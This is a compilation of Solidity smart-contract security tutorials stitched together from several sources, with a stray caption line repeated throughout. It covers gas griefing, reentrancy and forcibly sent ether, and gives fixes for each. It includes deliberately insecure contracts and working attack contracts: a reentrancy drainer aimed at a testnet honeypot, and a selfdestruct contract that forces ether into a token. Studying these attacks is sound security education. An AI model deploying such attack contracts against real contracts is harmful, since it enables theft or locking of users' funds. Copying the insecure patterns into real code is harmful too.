An attacker can use this to censor transactions, causing them to fail by sending them with a low amount of gas. This attack is a form of “griefing“: It doesn’t directly benefit the attacker, but causes grief for the victim. A dedicated attacker, willing to consistently spend a small amount of gas could theoretically censor all transactions this way, if they were the first to submit them to Relayer.

One way to address this is to implement logic requiring forwarders to provide enough gas to finish the subcall. If the miner tried to conduct the attack in this scenario, the require statement would fail and the inner call would revert. A user can specify a minimum gasLimit along with the other data (in this example, typically the _gasLimit value would be verified by a signature, but that is omitted for simplicity in this case).

// contract called by Relayer
contract Executor {
    function execute(bytes _data, uint _gasLimit) {
        require(gasleft() >= _gasLimit);
        ...
    }
}

Another solution is to permit only trusted accounts to relay the transaction.

This question is about the verb “to grief” rather than the noun “grief”.

The latter is presumably what lots of people are currently feeling due to the drop in cryptocurrency prices.

The former, which is what you’re asking about, is when someone uses a system in an unexpected way to create what other users of the system might call an attack. Such an attack doesn’t benefit the attacker, but does make using the system more difficult for the victim. (i.e. It causes them grief [noun].)

It’s a common term in computer games, where the person performing the griefing is referred to as the griefer.

For an example in the Ethereum world, take a look at the Insufficient Gas Griefing attack.

I’m really not very familiar with griefing attacks but based on the definition I’d say they can be profitable for the attacker. Not directly but indirectly.

My not-too-scientific analysis is based on the example given in the linked answer’s references: https://consensys.github.io/smart-contract-best-practices/known_attacks/#insufficient-gas-griefing

This is not a perfect example but at least something: imagine a contract which is used for finding out whether anyone disagrees or agrees with some idea. So a maximum of one “yes” and a maximum of one “no” is enough for the contract. Now for some reason it needs to be called through such a Relayer contract. If the attacker performs a griefing attack on the “yes” or the “no” answer the answer doesn’t get stored but nobody else can give that answer anymore as the Relayer has already blocked that answer. That way the attacker knows nobody can give an answer he doesn’t like.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Reentrancy

Reentrancy is an attack that can occur when a bug in a contract function can allow a function interaction to proceed multiple times when it should otherwise be prohibited. This can be used to drain funds from a smart contract if used maliciously. In fact, reentrancy was the attack vector used in the DAO hack.

Single function reentrancy

A single function reentrancy attack occurs when a vulnerable function is the same function that an attacker is trying to recursively call.

// INSECURE
function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(msg.sender.call.value(amount)());
    balances[msg.sender] = 0;
}

Here we can see that the balance is only modified after the funds have been transferred. This can allow a hacker to call the function many times before the balance is set to 0, effectively draining the smart contract.

Cross-function reentrancy

A cross-function reentrancy attack is a more complex version of the same process. Cross-function reentrancy occurs when a vulnerable function shares state with a function that an attacker can exploit.

// INSECURE
function transfer(address to, uint amount) external {
  if (balances[msg.sender] >= amount) {
    balances[to] += amount;
    balances[msg.sender] -= amount;
  }
}

function withdraw() external {
  uint256 amount = balances[msg.sender];
  require(msg.sender.call.value(amount)());
  balances[msg.sender] = 0;
}

In this example, a hacker can exploit this contract by having a fallback function call transfer() to transfer spent funds before the balance is set to 0 in the withdraw() function.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Reentrancy prevention

When transfering funds in a smart contract, use send or transfer instead of call. The problem with using call is that unlike the other functions, it doesn’t have a gas limit of 2300. This means that call can be used in external function calls which can be used to perform reentrancy attacks.

Another solid prevention method is to mark untrusted functions.

function untrustedWithdraw() public {
  uint256 amount = balances[msg.sender];
  require(msg.sender.call.value(amount)());
  balances[msg.sender] = 0;
}

In addition, for optimum security use the checks-effects-interactions pattern. This is a simple rule of thumb for ordering smart contract functions.

The function should begin with checks, e.g. require and assert statements.

Next, the effects of the contract should be performed, i.e. state modifications.

Finally, we can perform interactions with other smart contracts, e.g. external function calls.

This structure is effective against reentrancy because the modified state of the contract will prevent bad actors from performing malicious interactions.

function withdraw() external {
  uint256 amount = balances[msg.sender];
  balances[msg.sender] = 0;
  require(msg.sender.call.value(amount)());
}

Since the balance is set to 0 before any interactions are performed, if the contract is called recursively, there is nothing to send after the first transaction.

Reentrancy

One of the major dangers of calling external contracts is that they can take over the control flow, and make changes to your data that the calling function wasn’t expecting. This class of bugs can take many forms, and both of the major bugs that led to the DAO’s collapse were bugs of this sort.

Reentrancy on a Single Function

The first version of this bug to be noticed involved functions that could be called repeatedly, before the first invocation of the function was finished. This may cause the different invocations of the function to interact in destructive ways.

// INSECURE
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call withdrawBalance again
    require(success);
    userBalances[msg.sender] = 0;
}

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed and will withdraw the balance over and over again.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

On June 17th 2016, The DAO was hacked and 3.6 million Ether ($50 Million) were stolen using the first reentrancy attack. Ethereum Foundation issued a critical update to rollback the hack. This resulted in Ethereum being forked into Ethereum Classic and Ethereum.

In the example given, the best way to prevent this attack is to make sure you don’t call an external function until you’ve done all the internal work you need to do:

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    userBalances[msg.sender] = 0;
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // The user's balance is already 0, so future invocations won't withdraw anything
    require(success);
}

Note that if you had another function which called withdrawBalance(), it would be potentially subject to the same attack, so you must treat any function which calls an untrusted contract as itself untrusted. See below for further discussion of potential solutions.

Cross-function Reentrancy

An attacker may also be able to do a similar attack using two different functions that share the same state.

// INSECURE
mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
    if (userBalances[msg.sender] >= amount) {
       userBalances[to] += amount;
       userBalances[msg.sender] -= amount;
    }
}

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call transfer()
    require(success);
    userBalances[msg.sender] = 0;
}

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. This vulnerability was also used in the DAO attack.

The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Pitfalls in Reentrancy Solutions

Since reentrancy can occur across multiple functions, and even multiple contracts, any solution aimed at preventing reentrancy with a single function will not be sufficient.

Instead, we have recommended finishing all internal work (ie. state changes) first, and only then calling the external function. This rule, if followed carefully, will allow you to avoid vulnerabilities due to reentrancy. However, you need to not only avoid calling external functions too soon, but also avoid calling functions which call external functions. For example, the following is insecure:

// INSECURE
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function withdrawReward(address recipient) public {
    uint amountToWithdraw = rewardsForA[recipient];
    rewardsForA[recipient] = 0;
    (bool success, ) = recipient.call.value(amountToWithdraw)("");
    require(success);
}

function getFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    rewardsForA[recipient] += 100;
    withdrawReward(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again.
    claimedBonus[recipient] = true;
}

Even though getFirstWithdrawalBonus() doesn’t directly call an external contract, the call in withdrawReward() is enough to make it vulnerable to a reentrancy. You therefore need to treat withdrawReward() as if it were also untrusted.

mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function untrustedWithdrawReward(address recipient) public {
    uint amountToWithdraw = rewardsForA[recipient];
    rewardsForA[recipient] = 0;
    (bool success, ) = recipient.call.value(amountToWithdraw)("");
    require(success);
}

function untrustedGetFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    claimedBonus[recipient] = true;
    rewardsForA[recipient] += 100;
    untrustedWithdrawReward(recipient); // claimedBonus has been set to true, so reentry is impossible
}

In addition to the fix making reentry impossible, untrusted functions have been marked. This same pattern repeats at every level: since untrustedGetFirstWithdrawalBonus() calls untrustedWithdrawReward(), which calls an external contract, you must also treat untrustedGetFirstWithdrawalBonus() as insecure.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Another solution often suggested is a mutex. This allows you to “lock” some state so it can only be changed by the owner of the lock. A simple example might look like this:

// Note: This is a rudimentary example, and mutexes are particularly useful where there is substantial logic and/or shared state
mapping (address => uint) private balances;
bool private lockBalances;

function deposit() payable public returns (bool) {
    require(!lockBalances);
    lockBalances = true;
    balances[msg.sender] += msg.value;
    lockBalances = false;
    return true;
}

function withdraw(uint amount) payable public returns (bool) {
    require(!lockBalances && amount > 0 && balances[msg.sender] >= amount);
    lockBalances = true;

    (bool success, ) = msg.sender.call.value(amount)("");

    if (success) { // Normally insecure, but the mutex saves it
      balances[msg.sender] -= amount;
    }

    lockBalances = false;
    return true;
}

If the user tries to call withdraw() again before the first call finishes, the lock will prevent it from having any effect. This can be an effective pattern, but it gets tricky when you have multiple contracts that need to cooperate. The following is insecure:

// INSECURE
contract StateHolder {
    uint private n;
    address private lockHolder;

    function getLock() {
        require(lockHolder == address(0));
        lockHolder = msg.sender;
    }

    function releaseLock() {
        require(msg.sender == lockHolder);
        lockHolder = address(0);
    }

    function set(uint newState) {
        require(msg.sender == lockHolder);
        n = newState;
    }
}

An attacker can call getLock(), and then never call releaseLock(). If they do this, then the contract will be locked forever, and no further changes will be able to be made. If you use mutexes to protect against reentrancy, you will need to carefully ensure that there are no ways for a lock to be claimed and never released. (There are other potential dangers when programming with mutexes, such as deadlocks and livelocks. You should consult the large amount of literature already written on mutexes, if you decide to go this route.)


Above were examples of reentrancy involving the attacker executing malicious code within a single transaction. The following are a different type of attack inherent to Blockchains: the fact that the order of transactions themselves (e.g. within a block) is easily subject to manipulation.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Reentrancy Attack On Smart Contracts: How To Identify The Exploitable And An Example Of An Attack Contract

to code smart contracts is certainly not a free picnic. A bug introduced in the code costs money and most likely not only your money but also other people’s as well. The reality is that the Ethereum ecosystem is still in its infancy but growing and standards are being defined and redefined by the day so one needs to be always updated and akin to smart contract security best practices.

As a student of smart contract security, I have been on the look out for vulnerabilities in code. It came to my attention this contract deployed to the testnet.

pragma solidity ^0.4.8;contract HoneyPot {
mapping (address => uint) public balances; function HoneyPot() payable {
put();
} function put() payable {
balances[msg.sender] = msg.value;
} function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
} function() {
throw;
}
}

The HoneyPot contract above originally contained 5 ether and was deliberately devised to be hacked. In this blog post, I want to share with you how I attacked this contract and ‘collected’ most of its ether.

The Vulnerable Contract

The purpose of the HoneyPot contract above is to keep a record of balances for each address that put() ether in it. It also allows an address to get() its ether deposited it in it.

Let’s look at the most interesting parts of this contract:

mapping (address => uint) public balances;

The code above maps addresses to a value and stores it in a public variable called balances . It allows to check the HoneyPot balance for an address.

balances[0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]

The put() function below is where the storage of the ether value happens in the contract. Note that msg.sender here is the transaction sender’s address.

function put() payable {
balances[msg.sender] = msg.value;
}

Nest, we find the function where the exploitable is. The purpose of this function is to let addresses to withdraw the value of ether they have in HoneyPot as balance.

function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
}

Where is the exploitable and how can someone attack this you ask? Check again these lines of code :

if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;

HoneyPot contract sets the value of the address balance to zero only after checking if sending ether to msg.sender goes through.

What if there is an AttackContract that tricks HoneyPot into thinking that it still has ether to withdraw before AttackContract balance is set to zero. This can be done in a recursive manner and the name for this is called reentrancy attack.

Let’s create one.

Here is the full contract code. I will attempt my best to explain its parts.

pragma solidity ^0.4.8;import "./HoneyPot.sol";contract HoneyPotCollect {
HoneyPot public honeypot; function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
} function kill () {
suicide(msg.sender);
} function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
} function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}
}

The first few lines is basically assigning the solidity compiler to use with the contract. Then we import the HoneyPot contract which I put in a separate file. Note that HoneyPot is referenced throughout the HoneyPotCollect contract. And we set up the contract base which we call it HoneyPotCollect .

pragma solidity ^0.4.8;import "./HoneyPot.sol";contract HoneyPotCollect {
HoneyPot public honeypot;
...
}

Then we define the constructor function. This is the function that is called when HoneyPotCollect is created. Note that we pass an address to this function. This address will be the HoneyPot contract address.

function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}

Next function is the kill function. I want to withdraw ether from the HoneyPot contract to the HoneyPotCollect contract. However I want also to get the collected ether to an address I own. So I add a mechanism to destroy the HoneyPotCollect and send all ether containing in it to the address that calls the kill function.

function kill () {
suicide(msg.sender);
}

The following function is the one that will set the reentrancy attack in motion. It puts some ether in HoneyPot and right after it, it gets it.

function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}

The payable term here tells the Ethereum Virtual Machine that it permits to receive ether. Invoke this function with also some ether.

The last function is what is known as the fallback functionThis unnamed function is called whenever the HoneyPotCollect contract receives ether.

function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}

This is where the reentrancy attack occur. Let’s see how.

The Attack

After deploying HoneyPotCollect, call collect() and sending with it some ether.

HoneyPot get() function sends ether to the address that called it only if this contract has any ether as balance. When HoneyPot sends ether to HoneyPotCollect the fallback function is triggered. If the HoneyPot balance is more than the value that it was sent to, the fallback function calls get() function once again and the cycle repeats.

Recall that within the get()function the code that sets the balance to zero comes only after sending the transaction. This tricks the HoneyPot contract into sending money to the HoneyPotCollect address over and over and over until HoneyPot is depleted of almost all its ether.

Try it yourself. I left 1 test ether in this contract so others could try it themselves. If you see no ether left there, then it is because someone already attacked it before you.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Protect Your Solidity Smart Contracts From Reentrancy Attacks

One of the most devastating attacks you need to watch out for when developing smart contracts with Solidity are reentrancy attacks. They are devastating for two reasons: they can completely drain your smart contract of its ether, and they can sneak their way into your code if you’re not careful.

A reentrancy attack can occur when you create a function that makes an external call to another untrusted contract before it resolves any effects. If the attacker can control the untrusted contract, they can make a recursive call back to the original function, repeating interactions that would have otherwise not run after the effects were resolved.

This simplest example is when a contract does internal accounting with a balance variable and exposes a withdraw function. If the vulnerable contract transfers funds before it sets the balance to zero, the attacker can recursively call the withdraw function repeatedly and drain the whole contract.

Let’s look at an example:

function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

All an attacker needs to exploit this function is to get some amount of balance mapped to their smart contract address and create a fallback function that calls withdraw.

After msg.sender.call.value(amount)() transfers the correct amount of funds, the attacker’s fallback function calls withdraw again, transferring more funds before balances[msg.sender] = 0 can stop further transfers. This continues until there is either no ether remaining, or execution reaches the maximum stack size.

Typically a vulnerable function will make an external call using transfersend, or call. We will cover the differences between these functions in the section on preventing reentrancy attacks.

Types of reentrancy attacks

There are two main types of reentrancy attacks: single function and cross-function reentrancy.

Single function reentrancy attack

This type of attack is the simplest and easiest to prevent. It occurs when the vulnerable function is the same function the attacker is trying to recursively call.

Our previous code example is a single function reentrancy attack.

Cross-function reentrancy attack

These attacks are harder to detect. A cross-function reentrancy attack is possible when a vulnerable function shares state with another function that has a desirable effect for the attacker.

This is easiest to explain with an example:

function transfer(address to, uint amount) external {
if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
}
}function withdraw() external {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

In this example, withdraw calls the attacker’s fallback function same as with the single function reentrancy attack.

The difference is the fallback function makes a call to transfer instead of recursively calling withdraw. Because the balance has not been set to 0 before this call, the transfer function can transfer a balance that has already been spent.

How bad can a reentrancy attack be?

Just ask someone who invested in The DAO back in 2016. The DAO hack was one of the highest profile reentrancy attacks in Ethereum’s history. An attacker managed to drain it of about 3.6 million ether.

The DAO had a vulnerable function meant to split off a child DAO. The attacker used this function to recursively transfer funds from the original DAO to the child DAO that they controlled.

The hack was so damaging the Ethereum Foundation resorted to a controversial hard fork that recovered investor funds. Most supported the hard fork, but part of the community thought it violated the core principles of cryptocurrency — namely immutability — and continued to use the old chain resulting in the creation of Ethereum Classic.

Prevent reentrancy attacks

There are a few best practices you should follow to protect your smart contracts from reentrancy attacks.

send, transfer, and call

Because most reentrancy attacks involve sendtransfer, or call functions — it is important to understand the difference between them.

send and transfer functions are considered safer because they are limited to 2,300 gas. The gas limit prevents the expensive external function calls back to the target contract. The one pitfall is when a contract sets a custom amount of gas for a send or transfer using msg.sender.call(ethAmount).gas(gasAmount).

The call function is unfortunately much more vulnerable.

When an external function call is expected to perform complex operations, you typically want to use the call function because it forwards all remaining gas. This opens the door for an attacker to make calls back to the original function in a single function reentrancy attack, or a different function from the original contract in a cross-function reentrancy attack.

Wherever possible, use send or transfer in place of call to limit your security risk.

Mark untrusted functions

To protect against reentrancy attacks, it is important to identify when a function is untrusted. The Consensys best practices recommends that you name functions and variables to indicate if they are untrusted.

For example:

function untrustedWithdraw() public {
uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0;
}

It is important to remember that if a function calls another untrusted function it is also untrusted.

function untrustedSettleBalance() external {
untrustedWithdraw();
}

Checks-effects-interactions pattern

The most reliable method of protecting against reentrancy attacks is using the checks-effects-interactions pattern.

This pattern defines the order in which you should structure your functions.

First perform any checks, which are normally assert and require statements, at the beginning of the function.

If the checks pass, the function should then resolve all the effects to the state of the contract.

Only after all state changes are resolved should the function interact with other contracts. By calling external functions last, even if an attacker makes a recursive call to the original function they cannot abuse the state of the contract.

Let’s rewrite our vulnerable withdraw function using the checks-effects-interactions pattern.

function withdraw() external {
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
require(msg.sender.call.value(amount)());
}

Because we zero out the balance — an effect — before making an external call, a recursive call made by an attacker will not be tricked into thinking there is still a remaining balance.

Mutex

In more complex situations such as protecting against cross-function reentrancy attacks it may be necessary to use a mutex.

A mutex places a lock on the contract state. Only the owner of the lock can modify the state.

Let’s look at a simple implementation of a mutex.

function transfer(address to, uint amount) external {
require(!lock);
lock = true; if (balances[msg.sender] >= amount) {
balances[to] += amount;
balances[msg.sender] -= amount;
} lock = false;
}function withdraw() external {
require(!lock);
lock = true; uint256 amount = balances[msg.sender];
require(msg.sender.call.value(amount)());
balances[msg.sender] = 0; lock = false;
}

By using this lock, an attacker can no longer exploit the withdraw function with a recursive call. Nor can an attacker exploit a call to transfer for a cross-function reentrancy attack. All state modifications occur while lock is true, preventing any function checking the lock from being called out of order.

You must be careful implementing a mutex to make sure there is always a way for a lock to be released. If an attacker can get a lock on your contract and prevent its release your contract can be rendered inert.

OpenZeppelin has it’s own mutex implementation you can use called ReentrancyGuard. This library provides a modifier you can apply to any function called nonReentrant that guards the function with a mutex.

View the source code for the OpenZeppelin ReentrancyGuard library here: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/utils/ReentrancyGuard.sol

Keep in mind that a nonReentrant function should be external. If another function calls the nonReentrant function it is no longer protected.

The future of reentrancy attacks

There is always the risk of future updates introducing more opportunities for attacks. The Constantinople update was delayed because a flaw was discovered in EIP 1283 that introduced a new reentrancy attack using certain SSTORE operations. Had this update been deployed to the mainnet, even send and transfer functions would have been vulnerable.

Attacks will get increasingly advanced and involve more complex interactions between functions and contracts to effect state. The best thing we can do to stay ahead is to keep interactions as simple as possible and employ best practices such as using transfer or send instead of call and using the checks-effects-interactions pattern to structure our functions.


Typically, when you send ether to a contract it must execute the fallback function or another function defined in the contract. There are two exceptions to this, where ether can exist in a contract without executing any code. Contracts that depend on code execution for all ether sent to them can be vulnerable to attacks where ether is forcibly sent.

The Vulnerability

A typical defensive programming technique that is valuable in enforcing correct state transitions or validating operations is invariant checking. This method involves defining a set of invariants (metrics or parameters that do not need to be changed) and checking that they do not change after one (or more) operations. An example of an invariant is totalSupply a fixed-issuance ERC20 token. Because no function should change this invariant.

In particular, there is an obvious invariant that can be tempting to use but can in fact be manipulated by external users (despite the rules set out in the smart contract). This is the current ether stored in the contract. Often, when developers first learn about Solidity, they have the misconception that a contract can accept ether only via payable functions. This misunderstanding can lead to contracts that have false assumptions about the ether balance within them, which can lead to various vulnerabilities. The key for this vulnerability is the (incorrect) use of this.balance.

There are two ways in which ether can (forcibly) be sent to a contract that doesn’t use a payable function or doesn’t execute any code on the contract:

1. Self-destruct

Each contract will be able to perform selfdestruct function that removes all bytecode from the contract address and sends all ether stored there to the address specified by the parameter. If the specified address is also a contract, no functions (including the fallback) get called. Therefore, the selfdestruct function can be forced to send ether to any contract regardless of any code that may exist in the contract, even contracts without payable functions. This means an attacker can create a contract with a selfdestruct function, send ether to it, call selfdestruct(target) and force ether to be sent to a target contract.

2. Pre-sent ether

Another way to get ether into a contract is to preload the contract address with ether. Contract addresses are deterministic — in fact, the address is calculated from the Keccak-256 (similar to SHA-3) hash of the address creating the contract and the transaction nonce that creates the contract. Specifically, it is of the form:

address = sha3(rlp.encode([account_address,transaction_nonce]))

Let’s explore some pitfalls that can arise given this knowledge. Consider the overly simple contract in EtherGame.sol.


contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;

    mapping(address => uint) redeemableEther;
    // Users pay 0.5 ether. At specific milestones, credit their accounts.
    function play() external payable {
        require(msg.value == 0.5 ether); // each play is 0.5 ether
        uint currentBalance = this.balance + msg.value;
        // ensure no players after the game has finished
        require(currentBalance <= finalMileStone);
        // if at a milestone, credit the player's account
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(this.balance == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

GITHUB


This contract represents a simple game (which would naturally involve race conditions) where players send 0.5 ether to the contract in the hopes that they will become the first player to reach one of the three milestones. Milestones are denominated in ether. The first to reach the milestone can claim a share of the ether after the game ends. The game ends when the last milestone of 10 ether is reached; users can then claim their rewards.

The issues with the EtherGame contract come from the poor use of this.balance both lines 14 and 32. An attacker could forcibly send a small amount of ether—say, 0.1 ether—through the selfdestruct function (discussed earlier) to prevent any future players from reaching a milestone. this.balance will never be a multiple of 0.5 ether thanks to this 0.1 ether contribution, because all legitimate players can only send 0.5-ether increments. This prevents all the ‘if’ conditions on lines 18, 21, and 24 from being true.

What’s worse is that an attacker who missed a milestone could forcibly send 10 ether (or an equivalent amount of ether that shifts the balance of the contract above the finalMileStone), which can lock all rewards in the contract forever. This is because the claimReward function will always revert, due to the require on line 32 (i.e., because this.balance is greater than finalMileStone).

Preventative Techniques

This sort of vulnerability often arises due to misuse of this.balance. Contract logic, when possible, should prevent relying on exact values of the balance of the contract because it can be artificially manipulated. If applying logic based on this.balance, you will have to deal with unexpected balances.

If an exact amount of deposited ether is required, a self-defined variable should be used that is incremented in payable functions, to safely track the deposited ether. This variable will not be influenced by the forced ether sent via selfdestruct call.

With this in mind, a corrected version of the EtherGame contract could look like:

contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() external payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game has finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

GITHUB


Here, we have created a new variable, depositedWei, that tracks known ether deposited, and it is this variable that we use for our tests. Note that we no longer have any reference to this.balance.

Smart contract security is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Forcibly sending ether is an attacker’s technique to manipulate a target contract balance. This article will describe how a smart contract relying on improper balance checking can be attacked and how to avoid the issue. Enjoy reading.

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production. Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services.

Table of Contents

  • The Vulnerability
  • The Attack
  • The Solution
  • Summary

Vulnerability Ethereum

The following code exhibits the InsecureMoonToken contract. The MOON is a non-divisible token with zero token decimals (line 12). Users can buy, sell, or transfer 1, 2, 3, or 46 MOONs but not 33.5 MOONs.

Besides the non-divisible characteristic, the MOON token is also a stablecoin pegged with the price of the ETH token (line 6). In other words, 1 MOON will always be worth 1 ETH.

Assuredly, the InsecureMoonToken contract is vulnerable. Can you catch up on the issue? 

pragma solidity 0.8.17;

contract InsecureMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}

GITHUB

In the InsecureMoonToken contract, users can buy MOON tokens with the corresponding number of Ethers via the buy function (lines 16–24). Users can also sell their MOONs through the sell function (lines 26–36), transfer their MOONs via the transfer function (lines 38–44), get their balances by consulting the getUserBalance function (lines 50–52), and get the total number of Ethers locked in the contract by way of the getEtherBalance function (lines 46–48).

As you can see, the InsecureMoonToken contract is straightforward. However, the contract got an improper balance assertion issue in line 35 in the sell function.

Specifically, the sell function hires the assert(getEtherBalance() == totalSupply * TOKEN_PRICE); statement to strictly assert that the Ether balance of the InsecureMoonToken contract (i.e., the getEtherBalance() part) must always be equal to the total supply of the MOON token (i.e., the totalSupply * TOKEN_PRICE part). This assertion ensures that the number of locked Ethers balances the MOON total supply.

Nevertheless, relying on the contract’s Ether balance as the sell function did is prone to attack. Consider if an attacker can send some small Ethers to lock into the InsecureMoonToken contract. What would happen?

The assertion statement would always be evaluated as false because the contract’s Ether balance would no longer match the MOON token’s total supply. This results in reverting all sell transactions.

Since the InsecureMoonToken contract does not implement the receive or fallback function, the contract regularly cannot receive any Ethers. But how can the attacker send Ethers into the contract? Figure 1 below illustrates the solution the attacker adopts to achieve the exploitation.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

In Solidity, a special function named selfdestruct is used for removing the bytecode from the contract address executing it. Besides the contract bytecode removal, one side effect is that the Ethers stored in the removing contract would be forcibly sent to any specified address.

The selfdestruct function can forcibly send Ethers to even the contract that does not implement the receive or fallback function like the InsecureMoonToken contract.

This way, if the attacker deploys and executes the Attack contract containing the selfdestruct function, they can forcibly send Ethers to the InsecureMoonToken contract by specifying the InsecureMoonToken contract address as the argument of the selfdestruct function (i.e., selfdestruct(InsecureMoonToken)).


The Attack

The following code presents the Attack contract that can be used to exploit the InsecureMoonToken contract.

pragma solidity 0.8.17;

contract Attack {
    address immutable moonToken;

    constructor(address _moonToken) {
        moonToken = _moonToken;
    }

    function attack() external payable {
        require(msg.value != 0, "Require some Ether to attack");

        address payable target = payable(moonToken);
        selfdestruct(target);
    }
}

GITHUB


To attack the InsecureMoonToken, an attacker performs the attack steps as follows.

  1. Deploy the Attack contract as well as specifying the InsecureMoonToken contract address as the contract deployment argument (line 6)
  2. Invoke the Attack.attack() function along with supplying some Ethers for attacking

